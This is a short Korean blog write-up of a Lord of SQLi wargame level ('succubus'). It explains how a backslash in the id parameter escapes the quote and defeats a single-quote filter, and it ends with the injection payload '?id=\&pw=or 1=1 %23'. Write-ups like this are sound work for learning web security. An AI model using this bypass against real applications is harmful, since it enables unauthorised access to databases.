-
LOS - succubus / level 16Web/SQLI 2024. 7. 1. 19:24
문제
풀이 과정
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";여기서 id와 pw에서 싱글쿼터를 필터링 하고 있어 id와 pw를 자체적으로 나올 수는 없다
하지만 여기서 id와 pw를 연속적으로 받고 있으므로 \ 를 통해 우회할 수 있다
?id=\&pw=a
select id from prob_succubus where id = '\' and pw='a'
이런식으로 \'으로 인해 싱글쿼터가 문자열로 인식을 하게 되어 'and pw'로 변하게 된다
따라서 이 방법을 사용해 문제를 해결할 수 있다.
정답
더보기?id=\&pw=or 1=1 %23
'Web > SQLI' 카테고리의 다른 글
LOS - nightmare / level 18 (0) 2024.07.09 LOS - zombie_assassin / level 17 (0) 2024.07.09 LOS - assassin / level 15 (0) 2024.07.01 LOS - giant / level 14 (0) 2024.06.29 LOS - bugbear / level 13 (0) 2024.06.29